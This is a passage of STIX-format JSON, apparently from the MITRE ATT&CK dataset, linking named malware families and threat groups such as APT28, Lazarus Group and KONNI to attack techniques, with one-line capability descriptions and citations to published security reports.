            "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02",
            "type": "relationship",
            "modified": "2019-04-24T23:43:08.171Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4c3890f0-378d-4cef-8db7-0258161ff3f7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain the victim time zone.(Citation: ESET RTM Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2020-05-12T22:13:17.028Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--50a57369-6d3e-44bf-814f-7c9242e56d75",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2",
            "external_references": [
                {
                    "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/",
                    "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.",
                    "source_name": "\u00dcberwachung APT28 Forfiles June 2015"
                }
            ],
            "description": "(Citation: \u00dcberwachung APT28 Forfiles June 2015)",
            "type": "relationship",
            "modified": "2019-09-09T17:44:36.171Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--e97b39d6-7be1-4f59-8959-7f1f01402152",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The C2 server used by [XTunnel](https://attack.mitre.org/software/S0117) provides a port number to the victim to use as a fallback in case the connection closes on the currently used port.(Citation: ESET Sednit Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 2"
                }
            ],
            "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2019-04-19T18:36:31.997Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c954a1f5-c925-4c5c-ad64-62545dfbe383",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[route](https://attack.mitre.org/software/S0103) can be used to discover routing configuration information.",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "tool--c11ac61d-50f4-444f-85d8-6f006067f0de",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0"
        },
        {
            "id": "relationship--ab687dca-2741-4920-a71e-e0e0444809c5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraAlfa sends data to one of the hard-coded C2 servers chosen at random, and if the transmission fails, chooses a new C2 server to attempt the transmission again.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.",
                    "source_name": "Novetta Blockbuster RATs"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.424Z",
            "created": "2017-05-31T21:33:27.069Z"
        },
        {
            "id": "relationship--007cc21a-685a-4701-99c1-20f258cedc7c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to enumerate files.(Citation: FireEye APT17)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT17",
                    "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"
                }
            ],
            "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T19:06:43.759Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--67ffaecc-e47d-47a1-93fd-82d21018ad8b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "can collect system information, including computer name, system manufacturer, IsDebuggerPresent state, and execution path.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1"
        },
        {
            "id": "relationship--c935fb02-a2a4-448e-adc0-2b220fc8d521",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can delete files written to disk.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Morphisec ShellTea June 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
                },
                {
                    "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.",
                    "url": "http://blog.morphisec.com/security-alert-fin8-is-back",
                    "source_name": "Morphisec ShellTea June 2019"
                }
            ],
            "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-06-28T20:48:52.612Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
                    "source_name": "Unit 42 NOKKI Sept 2018"
                }
            ],
            "description": "[NOKKI](https://attack.mitre.org/software/S0353) has downloaded a remote module for execution.(Citation: Unit 42 NOKKI Sept 2018)",
            "id": "relationship--65384e27-6d16-4d25-a17b-3d74dde8f224",
            "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T01:58:31.536Z",
            "created": "2019-01-30T19:50:46.682Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/",
                    "source_name": "Unit 42 Nokki Oct 2018"
                }
            ],
            "description": "[Final1stspy](https://attack.mitre.org/software/S0355) obfuscates strings with base64 encoding.(Citation: Unit 42 Nokki Oct 2018)",
            "id": "relationship--3c92a16b-9f72-4f79-a656-e79c6c04e48f",
            "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T01:19:37.025Z",
            "created": "2019-01-31T00:23:06.390Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) used WMI to deploy their tools on remote machines and to gather information about the Outlook process.(Citation: Cybereason Cobalt Kitty 2017)",
            "id": "relationship--18e8e653-d924-4fed-a33f-7893cf8a683b",
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.280Z",
            "created": "2019-01-31T01:07:58.589Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.",
                    "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html",
                    "source_name": "FireEye Hacking FIN4 Dec 2014"
                },
                {
                    "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street?  FIN4 Likely Playing the Market. Retrieved January 15, 2019.",
                    "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html",
                    "source_name": "FireEye Hacking FIN4 Video Dec 2014"
                }
            ],
            "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used HTTP POST requests to transmit data.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)",
            "id": "relationship--d26abf6d-069b-4b7b-b408-cf9065ebef92",
            "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:16:36.113Z",
            "created": "2019-01-31T02:01:45.514Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 BadPatch Oct 2017",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/",
                    "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."
                }
            ],
            "description": "[BadPatch](https://attack.mitre.org/software/S0337) stores collected data in log files before exfiltration.(Citation: Unit 42 BadPatch Oct 2017)",
            "id": "relationship--330e86f3-f4ff-4fe0-af64-cd3c86849239",
            "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-16T23:35:32.865Z",
            "created": "2019-01-29T21:33:34.623Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos Micropsia June 2017",
                    "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html",
                    "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018."
                },
                {
                    "source_name": "Radware Micropsia July 2018",
                    "url": "https://blog.radware.com/security/2018/07/micropsia-malware/",
                    "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."
                }
            ],
            "description": "[Micropsia](https://attack.mitre.org/software/S0339) gathers the hostname and OS version from the victim\u2019s machine.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)",
            "id": "relationship--002c9202-d7a0-4181-b912-42f7d6d38339",
            "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-04-17T22:05:05.904Z",
            "created": "2019-01-29T21:47:53.704Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/",
                    "source_name": "Unit42 Xbash Sept 2018"
                }
            ],
            "description": "[Xbash](https://attack.mitre.org/software/S0341) can use scripts to invoke PowerShell to download a malicious PE executable or PE DLL for execution.(Citation: Unit42 Xbash Sept 2018)",
            "id": "relationship--8a8068fb-7cf9-4ab6-92a7-e8b3ecdf578d",
            "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-06-28T15:15:54.413Z",
            "created": "2019-01-30T13:28:47.788Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) has a module to harvest pressed keystrokes.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--ce4bf5bc-4935-429b-843e-3232fb810e90",
            "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:52:57.295Z",
            "created": "2019-01-30T13:53:14.932Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group",
                    "source_name": "Symantec Gallmaker Oct 2018"
                }
            ],
            "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) obfuscated shellcode used during execution.(Citation: Symantec Gallmaker Oct 2018)",
            "id": "relationship--2e165a8a-928e-488e-ad16-afb77a94b460",
            "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-16T14:51:35.307Z",
            "created": "2019-01-30T14:26:43.110Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/",
                    "source_name": "Unit42 Azorult Nov 2018"
                }
            ],
            "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect the username from the victim\u2019s machine.(Citation: Unit42 Azorult Nov 2018)",
            "id": "relationship--1d82c2f3-0bca-49a0-b731-296a436eb003",
            "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-07-26T23:22:28.375Z",
            "created": "2019-01-30T15:19:15.009Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1 Appendix",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip"
                }
            ],
            "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to collect the processor type, operation system, computer name, uptime, and whether the system is a laptop or PC.(Citation: Mandiant APT1 Appendix)",
            "id": "relationship--6a008820-b742-4ec0-ad56-7494ca911da7",
            "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-16T16:03:40.945Z",
            "created": "2019-01-30T15:38:21.258Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can uninstall itself, including deleting its executable.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--a2e37152-fda1-4d4f-8d9b-3ad85f1f764e",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-06-10T18:25:51.720Z",
            "created": "2019-01-30T16:39:54.127Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--022c1740-5adb-473e-a8b3-5b1646c959d8",
            "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74",
            "relationship_type": "uses",
            "target_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b",
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "source_name": "Symantec Leafminer July 2018"
                }
            ],
            "description": "(Citation: Symantec Leafminer July 2018)",
            "type": "relationship",
            "modified": "2019-03-25T14:12:13.507Z",
            "created": "2019-01-30T16:46:41.620Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/",
                    "source_name": "Securelist Darkhotel Aug 2015"
                }
            ],
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has dropped an mspaint.lnk shortcut to disk which launches a shell script that downloads and executes a file.(Citation: Securelist Darkhotel Aug 2015)",
            "id": "relationship--c4995d4f-2b7e-439f-afb1-a4c9218c7a08",
            "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-16T20:05:43.545Z",
            "created": "2019-01-30T17:43:28.179Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has used compromised VPN accounts to gain access to victim systems.(Citation: McAfee Night Dragon)",
            "id": "relationship--820506c1-f8a0-4300-9653-2f245eff2cd1",
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "relationship",
            "modified": "2019-03-25T14:36:29.886Z",
            "created": "2019-01-30T18:02:59.196Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.",
                    "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government",
                    "source_name": "Symantec APT28 Oct 2018"
                },
                {
                    "source_name": "ESET LoJax Sept 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf",
                    "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019."
                }
            ],
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used a UEFI (Unified Extensible Firmware Interface) rootkit known as [LoJax](https://attack.mitre.org/software/S0397).(Citation: Symantec APT28 Oct 2018)(Citation: ESET LoJax Sept 2018)",
            "id": "relationship--a5022441-bc5e-4b19-a773-b96b2719d1bb",
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
            "type": "relationship",
            "modified": "2020-03-20T16:37:06.257Z",
            "created": "2019-01-30T18:53:05.399Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Morphisec Cobalt Gang Oct 2018",
                    "url": "https://blog.morphisec.com/cobalt-gang-2.0",
                    "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018."
                }
            ],
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) used a JavaScript backdoor that is capable of collecting a list of the security solutions installed on the victim's machine.(Citation: Morphisec Cobalt Gang Oct 2018)",
            "id": "relationship--30ff291e-e546-4084-8b5b-22fd5a597449",
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2019-07-26T23:38:34.038Z",
            "created": "2019-01-30T19:27:46.132Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Denis April 2017",
                    "url": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/",
                    "description": "Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018."
                },
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) enumerates and collects the username from the victim\u2019s machine.(Citation: Securelist Denis April 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "id": "relationship--b47d8f5e-7c09-4f40-a5a8-ccce10a8363b",
            "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-06-19T20:39:21.911Z",
            "created": "2019-01-30T20:01:45.535Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html",
                    "source_name": "Talos Konni May 2017"
                }
            ],
            "description": "[KONNI](https://attack.mitre.org/software/S0356) has used HTTP for C2.(Citation: Talos Konni May 2017)",
            "id": "relationship--37b3a79f-6f48-4c5c-9ec7-b063ad375083",
            "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:42:38.110Z",
